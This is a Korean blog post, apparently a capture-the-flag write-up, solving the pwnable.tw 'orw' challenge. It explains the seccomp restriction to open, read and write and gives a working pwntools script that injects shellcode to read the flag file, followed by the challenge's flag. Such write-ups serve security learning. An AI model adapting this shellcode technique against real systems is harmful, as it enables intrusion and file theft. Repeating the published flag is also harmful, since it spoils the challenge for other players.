Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
Tags
- system hacking
- easycrack
- fuzzing 개념
- foobar ctf
- pwnable.tw
- Dreamhack
- rev-basic-1
- reversing.kr
- fuzzing 아키텍처
- RAM 구조
- 247ctf
- yawa
- wargame
- rev-basic-0
- hacking
- Reverse Engineering
- pwnable
- 환경 세팅
- format-string-bug
- downunderctf
- easy aseembly
- tjdmin1
- downunder
- fuzzing 기법
- 기초 100문제
- aarch64
- 코드업
- x64dbg
- ghidra
- simple-operation
Archives
- Today
- Total
Tjdmin1
[pwnable.tw] orw [100 pts] 본문
https://pwnable.tw/challenge/#2
Pwnable.tw
Pwnable.tw is a wargame site for hackers to test and expand their exploiting skills.
pwnable.tw
Analyze
main 함수
여기서 orw_seccomp을 호출한 뒤 shellcode라는 변수에 read를 한 뒤 shellcode를 호출 시켜줍니다.
seccomp-tools로 확인해보면 아래와 같습니다.
rt_sigreturn과 sigreturn, exit_group, exit, open, read, write만 호출이 가능합니다.
Attack Vector
open, read, write면 flag를 읽고 출력이 가능하게 됩니다.
이걸 이용하여 shellcode를 짜서 flag를 출력하면 됩니다.
Exploit
from pwn import *
context.arch = 'i386'
r = remote('chall.pwnable.tw', 10001)
shellcode = shellcraft.pushstr('/home/orw/flag')
shellcode += shellcraft.open('esp', 0, 0)
shellcode += shellcraft.read('eax', 'esp', 38)
shellcode += shellcraft.write(1, 'esp', 38)
shellcode = asm(shellcode)
r.sendafter(b'Give my your shellcode:', shellcode)
print(r.recv().decode())
FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}